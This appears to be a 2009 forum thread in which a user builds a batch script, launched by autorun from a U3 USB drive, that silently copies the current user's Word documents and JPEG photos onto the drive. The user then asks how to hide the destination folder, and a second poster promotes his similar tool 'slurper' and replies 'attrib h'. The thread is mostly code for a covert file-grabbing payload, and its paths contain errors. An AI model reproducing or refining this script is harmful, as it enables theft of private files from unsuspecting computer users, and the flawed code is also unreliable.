Fedde Posted March 16, 2009 Posted March 16, 2009 kk.. The U3 drive is :I I have made a script like this: md I:\ %computername% md I:\ %computername%\Documents md I:\ %computername%\Pictures xcopy "C:\Documents and settings\%username%My Documents\ *.doc" %computername%\Documents xcopy "C:\Documents and settings\%username%My Documents\ *.jpg" %computername%\Pictures OK, the autorun.inf runs this on the U3 ROM. The bat file makes the Directories, but don't copy the files, i can't see why?? Any ideas? Edit: Tried to run the file manually, now it says i don't find a file with the extension *.jpg, or *.doc Edit2: 0MG... The error is here: xcopy "C:\Documents and settings\%username%My Documents\ *.jpg" %computername%\Pictures See? i forgot tu put I:\ Like this xcopy "C:\Documents and settings\%username%My Documents\ *.jpg" I:\ %computername%\Pictures Quote
DingleBerries Posted March 16, 2009 Posted March 16, 2009 Have a look at my tools. The last tool i made is called slurper and it does this, but needs to be put in the flash partition. The next version will either have you name the flash partition and copy there or manually find it.. havent decided yet. Quote
Fedde Posted March 16, 2009 Author Posted March 16, 2009 Now i got another question, how do i make a hidden folder in bat files? Quote
DingleBerries Posted March 16, 2009 Posted March 16, 2009 attrib h I suggest that you look at this > http://www.ss64.com/nt/ Quote
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.